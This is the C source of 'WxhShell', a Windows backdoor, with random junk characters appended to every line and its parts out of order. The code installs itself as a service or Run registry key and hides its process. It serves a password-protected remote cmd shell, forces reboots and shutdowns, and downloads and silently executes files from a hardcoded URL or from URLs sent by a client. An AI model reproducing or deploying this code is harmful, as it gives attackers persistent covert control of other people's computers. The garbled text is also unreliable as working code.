    ExitThread(0); r<|\4zIo/  
    } 8L=QfKr  
    break; uxh4nyE  
    } n]j(tP  
  // 获取shell aY {.  
  case 's': { ]iz5VI@  
    CmdShell(wsh); Fa/i./V2  
    closesocket(wsh); UBU(@T(  
    ExitThread(0); zkd#vAY(A  
    break; 10[~ki-1;  
  } OOk53~2id  
  // 退出 T.1z<l""  
  case 'x': { a:;*"p[R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !Uj !Oy  
    CloseIt(wsh); V_ ]4UE  
    break; yRgo1ow]  
    } 5cfzpOqr0  
  // 离开  Mys;Il "  
  case 'q': { t]@ Zd*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @+{S-iD"  
    closesocket(wsh); u!@P,,NY  
    WSACleanup(); VJ$C)0xQA  
    exit(1); ;^*^ :L  
    break; lo(Ht=d  
        } @Td[rHl  
  } 92VAQU6  
  } Y3Qq'FN!I  
3] @<.  
  // 提示信息 22*t%{(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e6_.ID'3  
} IIu3mXAw  
  } ,v6Jr3  
L;`4"  
  return; IB?A]oN1{  
} B!N807  
BT#>b@Xub  
// shell模块句柄 K9P"ncMt  
int CmdShell(SOCKET sock) #k"[TCQ>  
{ P! 3$RO  
STARTUPINFO si; SP*5 W)6  
ZeroMemory(&si,sizeof(si)); .*f;v4!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |knP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  HOD2/  
PROCESS_INFORMATION ProcessInfo; 000 $ZsW?  
char cmdline[]="cmd"; .ClCP?HG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QP;b\1 1m  
  return 0; zbi  
} I{AU,  
|l? ALP_g  
// 自身启动模式 oy`m:Xp  
int StartFromService(void) "''<:K|  
{ dSL %%  
typedef struct mQvKreo~  
{ nn   
  DWORD ExitStatus; !Q3Snu=  
  DWORD PebBaseAddress; u}rot+)%  
  DWORD AffinityMask; 3D.S[^s*  
  DWORD BasePriority; &59#$LyH`%  
  ULONG UniqueProcessId; LAKZAi%O0  
  ULONG InheritedFromUniqueProcessId; FezW/+D  
}   PROCESS_BASIC_INFORMATION; LWL>hd  
&Kv evPF  
PROCNTQSIP NtQueryInformationProcess; z\h+6FCD  
A{J1 n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B0 I?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6uXW`/lvX  
5 muW*7  
  HANDLE             hProcess; {l11WiqQH  
  PROCESS_BASIC_INFORMATION pbi; u`'z~N4}  
?|7+cz$g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &+j^{a  
  if(NULL == hInst ) return 0; 3.0c/v5Go  
*D{/p/|[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _tReZ(Vw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7 h1"8#X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B R:  
huoKr  
  if (!NtQueryInformationProcess) return 0; /8MQqZ C  
$048y X 7M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D;I`k L  
  if(!hProcess) return 0; z;C=d(|nN  
$vLV< y07  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7ILa H|eN  
4LEE /  
  CloseHandle(hProcess); hu|hOr8  
ww($0A`ek  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =]QH78\3  
if(hProcess==NULL) return 0; '= <`@  
Jo3(bl %u  
HMODULE hMod; >NRz*h#  
char procName[255]; gc@#O#K~h^  
unsigned long cbNeeded; 2]3HX3  
+w.Kv ;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E)O|16f|>  
GWInN8.5  
  CloseHandle(hProcess); &U~r}=  
(Q5@MfK`  
if(strstr(procName,"services")) return 1; // 以服务启动 UB$`;'|i  
 A<Z 5  
  return 0; // 注册表启动 OJsd[l3xR  
} ;hA7<loY  
!049K!rP{  
// 主模块 '95E;RV&  
int StartWxhshell(LPSTR lpCmdLine) T_x+sv=|X!  
{ uUz`=4%A  
  SOCKET wsl; +qUkMx  
BOOL val=TRUE; pTALhj#,  
  int port=0; ^ Y7/Ow  
  struct sockaddr_in door; q[7d7i/r6  
l^!A  
  if(wscfg.ws_autoins) Install(); V 7l{hEo3?  
'dc+M9u)_q  
port=atoi(lpCmdLine); "Ug/ ',jkV  
6%.  
if(port<=0) port=wscfg.ws_port; |jk-@ Z*  
%XI"<Y\yL  
  WSADATA data; Y#lk!#\Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lU $4NU wM  
3kiE3*H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q)Iv_N/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hDljY!P>p  
  door.sin_family = AF_INET; )[^y t0%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;tp]^iB#  
  door.sin_port = htons(port); 6~ 7 ; o_>  
.%?- As  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qBy NHo7Tb  
closesocket(wsl); ahNX/3; y  
return 1; "Ap$ Jl B  
} KQ4kZN  
oWp}O?  
  if(listen(wsl,2) == INVALID_SOCKET) { f v E+.{  
closesocket(wsl); 2.LJp}>  
return 1; mDQEXMD  
} X,TTM,1w  
  Wxhshell(wsl); !%c{+]g  
  WSACleanup(); M3Khc#5S(  
l'*^$qc  
return 0;  R"U/RS  
<0u\dU  
} +0XL5( '2  
6a4'xq7  
// 以NT服务方式启动 M{?zvq?d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~+O`9&  
{ #l*a~^dhqC  
DWORD   status = 0; T'ED$}N>~  
  DWORD   specificError = 0xfffffff; _wf5%(~b  
pOC% oj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }p~OCW!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q$r&4s)To  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d<Ggw#}:m  
  serviceStatus.dwWin32ExitCode     = 0; Z_H?WGO  
  serviceStatus.dwServiceSpecificExitCode = 0; Zg V~W#t  
  serviceStatus.dwCheckPoint       = 0; LHh5 v"zjG  
  serviceStatus.dwWaitHint       = 0; r&}(9Cq&"y  
CRH{E}>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C5P$ &s\  
  if (hServiceStatusHandle==0) return; >+cSPN'i>  
`79[+0hL'  
status = GetLastError(); wfgqgPo!v  
  if (status!=NO_ERROR) <W>++< -  
{ hAm/mu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E2@`d6  
    serviceStatus.dwCheckPoint       = 0; qv[[Q[RK-5  
    serviceStatus.dwWaitHint       = 0; +l`65!"  
    serviceStatus.dwWin32ExitCode     = status; ! Tx&vtq  
    serviceStatus.dwServiceSpecificExitCode = specificError; >F1G!#$0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HBH$  
    return; ~ 9GOk;{~&  
  } <,"4k&0Q>V  
xJ{_qP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wf#VA;d  
  serviceStatus.dwCheckPoint       = 0; E<tK4?i"  
  serviceStatus.dwWaitHint       = 0; >M]6uf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hi ~}  
} ! QM.P t7c  
r9# \13-  
// 处理NT服务事件,比如:启动、停止 'OwyyPBF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *U;'OWE[  
{ 'Gx$Bj  
switch(fdwControl) a5@z:i  
{ QT! 4[,4  
case SERVICE_CONTROL_STOP: ,R?np9wc  
  serviceStatus.dwWin32ExitCode = 0; F/p,j0S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <Mx0\b!  
  serviceStatus.dwCheckPoint   = 0; 7tNc=,x}  
  serviceStatus.dwWaitHint     = 0; F>zl9Vi<  
  { -&|: 0#@P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [U>@,BH  
  } ^Dg <Ki  
  return; K_~h*Yc  
case SERVICE_CONTROL_PAUSE: UDy(dn>J:J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <F;v`h|+S  
  break; .~>?*}  
case SERVICE_CONTROL_CONTINUE: qH> `}/,P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ljC(L/I  
  break; :u6JjW[a)  
case SERVICE_CONTROL_INTERROGATE: z0%\OhuCcf  
  break; \(~wZd  
}; r@U3sO#N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BHA923p?  
} =PkO!Mm8  
fpWg R4__  
// 标准应用程序主函数 E<E3&;qD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S?ujRp  
{ p5\]5bb  
7y^%7U \  
// 获取操作系统版本 UlcH%pxTt1  
OsIsNt=GetOsVer(); :~F:/5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,CvG 20>  
gU&%J4O  
  // 从命令行安装 ~]HN9R^&  
  if(strpbrk(lpCmdLine,"iI")) Install(); m8R9{LC  
urBc=3Rz  
  // 下载执行文件 tZyo`[La  
if(wscfg.ws_downexe) { ^qGb%! l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cx<0 H  
  WinExec(wscfg.ws_filenam,SW_HIDE); /./"x~@  
} JyLa#\ R  
/E;y,o75  
if(!OsIsNt) { ;U9J++\d<A  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q=mI 9  
HideProc(); O7d$YB_'  
StartWxhshell(lpCmdLine); rxn Frx  
} a"N4~?US  
else VKp*9%9  
  if(StartFromService()) mw$r$C{  
  // 以服务方式启动 ^I8Esl8  
  StartServiceCtrlDispatcher(DispatchTable); Vj<:GRNQ,d  
else YB<*"HxM)}  
  // 普通方式启动 zGKyN@o  
  StartWxhshell(lpCmdLine); 7ELMd{CD  
ho8`sh>N  
return 0; Hnknly  
} <+MyZM(z>  
@NhvnfZ  
>~%e$a7}+  
'c2W}$q  
=========================================== T|J9cgtS  
pl@O N"=[  
-;f*VM.a  
v+p {|X-  
A.<H>=Z# O  
:w}{$v}#D;  
" +$4(zP s@  
GjoIm?  
#include <stdio.h> QaUm1 i#  
#include <string.h> zp\8_U @  
#include <windows.h> 9T#;,{VQ  
#include <winsock2.h> ~ wg:!VWA)  
#include <winsvc.h> J+rCxn?;g  
#include <urlmon.h> DZzN>9<)^  
m/#a0~dB  
#pragma comment (lib, "Ws2_32.lib")  "KcA  
#pragma comment (lib, "urlmon.lib") ;iDPn2?6?x  
21k5I #U  
#define MAX_USER   100 // 最大客户端连接数 )`^p%k  
#define BUF_SOCK   200 // sock buffer ^u 3V E  
#define KEY_BUFF   255 // 输入 buffer wFG3KzEq ~  
DNGvpKY@  
#define REBOOT     0   // 重启 8r3A~  
#define SHUTDOWN   1   // 关机 IV\J3N^  
 hi g2  
#define DEF_PORT   5000 // 监听端口 +`?Y?L^ J  
l7&$}x -  
#define REG_LEN     16   // 注册表键长度 nUkaz*4qU  
#define SVC_LEN     80   // NT服务名长度 ^vG8#A}]  
VfT*7_  
// 从dll定义API cuOvN"nuNj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !w&kyW?e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Da"j E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kdGT{2u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z7 E  
AT5aDEb^^  
// wxhshell配置信息 &89 oO@5  
struct WSCFG { /x3/Ubmz~x  
  int ws_port;         // 监听端口 q^6+!&"  
  char ws_passstr[REG_LEN]; // 口令 {BKl`1z  
  int ws_autoins;       // 安装标记, 1=yes 0=no DxJX+.9K9  
  char ws_regname[REG_LEN]; // 注册表键名 Z@hD(MS(C  
  char ws_svcname[REG_LEN]; // 服务名 OyqNLR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  ~c6}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >>[ G1   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MDF%\Sx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >I=2!C1w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ! !PYP'e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WJ*n29^N^h  
 & y<ZE  
}; "s\L~R.&  
s3W@WH^.  
// default Wxhshell configuration (%`Q hH  
struct WSCFG wscfg={DEF_PORT, < })'Y~i  
    "xuhuanlingzhe", vVL@K,q  
    1, xU%w=0z <  
    "Wxhshell", cV`E>w=D0  
    "Wxhshell", .Lfo)?zG  
            "WxhShell Service", wY"Q o7  
    "Wrsky Windows CmdShell Service", Z{H5oUk  
    "Please Input Your Password: ", _v* nlc  
  1, cW+t#>' r  
  "http://www.wrsky.com/wxhshell.exe", ^Idle*+  
  "Wxhshell.exe" ] Eh}L  
    }; X6^},C'E.:  
[V}S <Xp  
// 消息定义模块 R6=$u{D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y[ N^p#t{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E#s)52z=B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6)BR+U  
char *msg_ws_ext="\n\rExit."; "]-Xmdk09  
char *msg_ws_end="\n\rQuit."; ,6r{VLN  
char *msg_ws_boot="\n\rReboot..."; 77Bgl4P  
char *msg_ws_poff="\n\rShutdown..."; mg, j:,  
char *msg_ws_down="\n\rSave to "; Ka,^OW}<%q  
hI(SOsKs  
char *msg_ws_err="\n\rErr!"; [b$4Shx  
char *msg_ws_ok="\n\rOK!"; tlA"B{7  
T\r@5Xv  
char ExeFile[MAX_PATH]; h;jIYxj  
int nUser = 0; *& m#qEv  
HANDLE handles[MAX_USER]; HEGKX]  
int OsIsNt; 1LJUr"6]  
mJM _2Ab  
SERVICE_STATUS       serviceStatus; WMj}kq)SY)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _.-;5M-  
@}:uu$OH  
// 函数声明 ~gu3g^<0v  
int Install(void); !`7B^RZ  
int Uninstall(void); ~i.k$XGA  
int DownloadFile(char *sURL, SOCKET wsh); _$>pw<  
int Boot(int flag); `N5|Ho*C  
void HideProc(void); A7c/N=Cp^  
int GetOsVer(void); X*L;.@xA  
int Wxhshell(SOCKET wsl); n k2om$nN  
void TalkWithClient(void *cs); 5?Wto4j  
int CmdShell(SOCKET sock); sp* Vqd  
int StartFromService(void); z ;u  
int StartWxhshell(LPSTR lpCmdLine); $Q*<96M  
R CkaJ3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,E.' o=Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F"N60>>  
!u]1 dxa  
// 数据结构和表定义 WF\)fc#;_o  
SERVICE_TABLE_ENTRY DispatchTable[] = ,y%3mR_~  
{ 7+hK~  
{wscfg.ws_svcname, NTServiceMain}, vp(;W,ba:|  
{NULL, NULL} b]a@  
}; t&9A ]<n%,  
K6olYG>  
// 自我安装 &5 L<i3BX  
int Install(void) jV8q)=}*)  
{ q:<{% U$  
  char svExeFile[MAX_PATH]; `CeJWL5{  
  HKEY key; q{ /3V  
  strcpy(svExeFile,ExeFile); t^ZV|s 1  
D/=5tOy  
// 如果是win9x系统,修改注册表设为自启动 MaD3[4@#  
if(!OsIsNt) { u=YX9Mo!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j:w{;(1=W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,<A$h3*  
  RegCloseKey(key); IuZ) [*W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fo4.JyBk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n$[f94d=  
  RegCloseKey(key); 6; Y0a4Ax  
  return 0; & /4k7X}y  
    } f7I{WfZ\P  
  } ;sch>2&ZWU  
} 3 v")J*t  
else { 0<TD/1wN  
Od?qz1  
// 如果是NT以上系统,安装为系统服务 ?X&6M;Zi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pZyQY+O  
if (schSCManager!=0) Uje|`<X  
{ VtOZ%h[#  
  SC_HANDLE schService = CreateService 6{qIU}!  
  ( 6'W[{gzl  
  schSCManager, _uc\ D R  
  wscfg.ws_svcname, r 6eb}z!i  
  wscfg.ws_svcdisp, 2m>-dqg  
  SERVICE_ALL_ACCESS, >E,U>@+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >*$;  
  SERVICE_AUTO_START, L^^4=ao0  
  SERVICE_ERROR_NORMAL, 3zT_^;:L  
  svExeFile, wC-Rr^q  
  NULL, 8_K6 0eXz  
  NULL, c)&>$S8*  
  NULL, *6BThvg|&X  
  NULL, Rte+(- iL  
  NULL ouHu8)q'r  
  ); !,Zp? g)  
  if (schService!=0) \(p{t  
  { gN {'UDg  
  CloseServiceHandle(schService); !6}O.Nu  
  CloseServiceHandle(schSCManager); bw&myzs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !jqWwi  
  strcat(svExeFile,wscfg.ws_svcname); DF{OnF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +%\oO/4Fs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vs6,  
  RegCloseKey(key); wY"o`o Z  
  return 0; 2u?zO7W)-L  
    } 0J~Qq]g  
  } ~Ki`Ze"x  
  CloseServiceHandle(schSCManager); zX{.^|  
} 0|D&"/.R#!  
} YDmWN#  
CVXytS?@x  
return 1; <5@PWrU?[[  
} _~aG|mAj  
`B8tmW#  
// 自我卸载 @U -$dw'4  
int Uninstall(void) A>.2OC+  
{ DG;y6#|p  
  HKEY key; -v?hqWMp#  
7m5Co>NkuK  
if(!OsIsNt) { dV8iwI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q6`G I6  
  RegDeleteValue(key,wscfg.ws_regname); #ZiT-  
  RegCloseKey(key); zGc(Ef5`M6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vuz4qCQ  
  RegDeleteValue(key,wscfg.ws_regname); *Dr5O9Y  
  RegCloseKey(key); NHX>2-b  
  return 0; K X]oE+:  
  } > 7`&0?  
} u@%|k c`  
} :46h+?   
else { DlE_W+F  
bdh(WJh%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f3WSa&eF  
if (schSCManager!=0) k5+]SG`]]  
{ |kiJ}oy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nv5u%B^  
  if (schService!=0) kReG:  
  { < 8(?7QI  
  if(DeleteService(schService)!=0) { 7y*ZXT]f  
  CloseServiceHandle(schService); /c+)C"  
  CloseServiceHandle(schSCManager); F@YV]u>N  
  return 0; qg,Nb  
  } HW7FP]NH  
  CloseServiceHandle(schService); L~FTr  
  } e-D4'lu  
  CloseServiceHandle(schSCManager); #A <1aQ  
} OKwOugi0  
} !}&" W,,0  
QV,E #(\5  
return 1; >mIg@knE  
} w4MwD?i]R  
T'rjh"C&|  
// 从指定url下载文件 lQt% Qx  
int DownloadFile(char *sURL, SOCKET wsh) &y:CW>T$/X  
{ dhR(_  
  HRESULT hr; (M% ;~y\  
char seps[]= "/"; .`LgYW  
char *token; c" Y!$'|Q  
char *file; Mz|L-62  
char myURL[MAX_PATH]; Da,&+fZI!  
char myFILE[MAX_PATH]; B7 "Fp  
VbxAd 2')  
strcpy(myURL,sURL); I5pp "*u  
  token=strtok(myURL,seps); *PB/iVH%6  
  while(token!=NULL) R+. Nn  
  { E#h~V5Tf  
    file=token; 6/y* 2z;  
  token=strtok(NULL,seps); x1DVD!0~{  
  } /| GH0L  
IrO +5w  
GetCurrentDirectory(MAX_PATH,myFILE); @P70W<<  
strcat(myFILE, "\\"); Dsb(CoWw  
strcat(myFILE, file); Y. TYc;  
  send(wsh,myFILE,strlen(myFILE),0); ;nf&c;D  
send(wsh,"...",3,0); jyjQzt >\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $HRed|*.C  
  if(hr==S_OK) 5^|"_Q#:  
return 0; Es:6  
else .;%q/hP  
return 1; @W [{2d  
a2 >[0_E  
} ]piM/v\  
*SGlqR['\e  
// 系统电源模块 X<K9L7/*  
int Boot(int flag) 9%TT> 2#  
{ Riq|w+Q  
  HANDLE hToken; V* Qe5j9  
  TOKEN_PRIVILEGES tkp; UG=I~{L  
3jg'1^c  
  if(OsIsNt) { kC|Tubs(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E.#6;HHzN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z%;)@0~f  
    tkp.PrivilegeCount = 1; r:#Q9EA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Okoo(dfM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,7I},sZj   
if(flag==REBOOT) { 7%tR&F -u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z*h ;e;  
  return 0; =?+w)(*0c  
} -=>U =|  
else { aYBTrOdz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $"1pws?d  
  return 0; xi.IRAZX  
} |I/,F;'  
  } i9y3PP)  
  else { /o\U/I  
if(flag==REBOOT) { km}MqBQl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3~:0?Zuq  
  return 0; Vbo5`+NAis  
} QK'`=MU  
else { drs-mt8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $wgc vySx  
  return 0; g?gqkoI  
} H)`@2~Y  
} 99a \MH`^  
;raz6DRO  
return 1; CQ$::;  
} \w3%[+c  
\a?K?v|8  
// win9x进程隐藏模块 "I@v&(Am;  
void HideProc(void) OWZS3Y+  
{ au,jAk  
xM%`K P.8X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6<<'bi  
  if ( hKernel != NULL ) 8.[&wy U  
  { z'_&|-m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gA{'Q\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @W#fui<<}Y  
    FreeLibrary(hKernel); u0s'6=  
  } abL/Y23 "  
AvyQ4xim+  
return; G l_\Vy  
} 6k:y$,w  
O@nqHZ  
// 获取操作系统版本 sw[oQ!f  
int GetOsVer(void) KS b(R/T  
{ Hw\([j*  
  OSVERSIONINFO winfo; tCX9:2c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PEfE'lGj  
  GetVersionEx(&winfo); O+p]3u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xLe =d|6  
  return 1; jYrym-  
  else ,GP!fsK  
  return 0; Cca6L9%  
} iD.0J/  
y+?=E g  
// 客户端句柄模块 *e%Dg{_  
int Wxhshell(SOCKET wsl) JOJh,8C) 6  
{ ;&If9O 1  
  SOCKET wsh; f( ]R/'o  
  struct sockaddr_in client; 8oa)qaG1  
  DWORD myID; ri"?, }(  
Yr5iZ~V$  
  while(nUser<MAX_USER) jaK'W  
{ Y_$^:LG  
  int nSize=sizeof(client); TG4\%S$w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;&K3 [;a  
  if(wsh==INVALID_SOCKET) return 1; Sc%aJ1  
F#jCEq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \nC5 ,Rz  
if(handles[nUser]==0) FTbT9   
  closesocket(wsh); GEhdk]<a7  
else }Vs~RJM)}  
  nUser++; J'|=*#  
  } Bh\ [ CY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o~Bk0V=  
nsZDZ/jx  
  return 0; lO551Y^  
} dK:l&R  
<dq,y>  
// 关闭 socket !8wZw68"  
void CloseIt(SOCKET wsh) D9}d]9]$  
{ 5JQd)[Im  
closesocket(wsh); K{, W_ ^  
nUser--; p#ZMABlE,P  
ExitThread(0); } 9MW! Ss  
} \7|s$ XQ\  
w~bG<kxP  
// 客户端请求句柄 +i:  E  
void TalkWithClient(void *cs) `Mo~EHso.  
{ hp?ad  
B=Xnv*e  
  SOCKET wsh=(SOCKET)cs; 6&i[g  
  char pwd[SVC_LEN]; 6b-  
  char cmd[KEY_BUFF]; vN{vJlpY  
char chr[1]; w k-Mu\  
int i,j; 2z.k)Qx!Z  
)v*v  
  while (nUser < MAX_USER) { C\;;9  
i;E9Za W  
if(wscfg.ws_passstr) { ;s}-X_O<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NUi{!<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^% ~Et>C  
  //ZeroMemory(pwd,KEY_BUFF); -=-x>(pRW7  
      i=0; e1f^:C  
  while(i<SVC_LEN) { uf{SxEa  
/ChJ~g"  
  // 设置超时 yrxx+z|wR  
  fd_set FdRead; {q5hF5!`)  
  struct timeval TimeOut; =2ATqb"$w  
  FD_ZERO(&FdRead); nr 'YWW  
  FD_SET(wsh,&FdRead); dg!1wD   
  TimeOut.tv_sec=8; b&hF')_UOz  
  TimeOut.tv_usec=0; ,Ut!u)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #Pe\Z/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <a4 iL3  
M]8eW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,iA2s i  
  pwd=chr[0]; puf;"c6e'  
  if(chr[0]==0xd || chr[0]==0xa) { F1Zk9%L%9$  
  pwd=0; "K4X:|Om"  
  break; BDB zc5Q(  
  } ie$fMBIq  
  i++; e!:?_z."  
    } 9M-NItFos  
BIb{<tG^N  
  // 如果是非法用户,关闭 socket f:)K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0qaG#&!  
} ?j^?@%f0  
&CPe$'FYI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hj#+8=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Is,*qrl :  
{~B4F}ES  
while(1) { YA8yMh*4D?  
9X^-)G>  
  ZeroMemory(cmd,KEY_BUFF); J&] XLr.j  
=t>`< T|(  
      // 自动支持客户端 telnet标准   R!M|k%(  
  j=0; ^/5E773  
  while(j<KEY_BUFF) { Wpg?%+Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wTJMq`sY_  
  cmd[j]=chr[0]; e[py J.  
  if(chr[0]==0xa || chr[0]==0xd) { @Ig,_i\UY:  
  cmd[j]=0; y(p:)Iv  
  break; "78cl*sD  
  } ]cO$E=W  
  j++; 1<Ztk;$A  
    } @_ tA"E  
COl%P  
  // 下载文件 \)6?u_(u  
  if(strstr(cmd,"http://")) { e\bF_ N2VA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |RbUmuj  
  if(DownloadFile(cmd,wsh)) `\/Wah}I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #@OKp,LJ  
  else ?_h#>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @+Anv~B.  
  } zj$Z%|@$  
  else { Yhv`IV-s  
(UiH3Q9C]%  
    switch(cmd[0]) { 3 T#3<gqM[  
  <a/ZOuBzZ  
  // 帮助 GmWQJYX\  
  case '?': { ~TmHnAz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w `9GygS  
    break; (Gb{ckzs  
  } L[9+xK^g  
